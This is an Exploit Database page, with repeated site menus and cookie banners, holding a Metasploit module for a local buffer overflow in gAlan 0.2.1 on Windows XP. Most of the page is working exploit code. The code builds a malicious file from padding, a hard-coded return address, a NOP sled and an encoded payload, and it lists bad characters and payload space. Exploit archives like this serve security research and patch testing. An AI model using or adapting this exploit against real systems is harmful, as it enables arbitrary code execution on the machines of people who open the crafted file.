

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)

EDB-ID:

16664

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[LOCAL](#)

Exploit:   / 



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
      'Description' => %a{
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
},
  'Payload' =>
    {
      'Space' => 1000,
      'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
      'StackAdjustment' => -3500,
    },
  'Platform' => 'win',
  'Targets' =>
    [
      [ 'Windows XP Universal', { 'Ret' => 0x100175D0 } ],
# 0x100175D0 call esi @ glib-1_3
    ],
  'Privileged' => false,
  'DisclosureDate' => 'Dec 07 2009',
  'DefaultTarget' => 0))

  register_options(
    [
      OptString.new('FILENAME', [ false, 'The file name.',
'msf.galan' ]),
    ], self.class)
end
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
def exploit
```

```
  sploit = "Mjik"  
  sploit << rand_text_alpha_upper(1028)  
  sploit << [target.ret].pack('V')  
  sploit << "\x90" * 45  
  sploit << payload.encoded
```

```
  print_status("Creating '#{datastore['FILENAME']}' file ...")  
  file_create(sploit)
```

```
end
```

```
end
```

Tags: [Metasploit Framework](#)
([MSF](#)).

Advisory/Source: [Link](#)



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >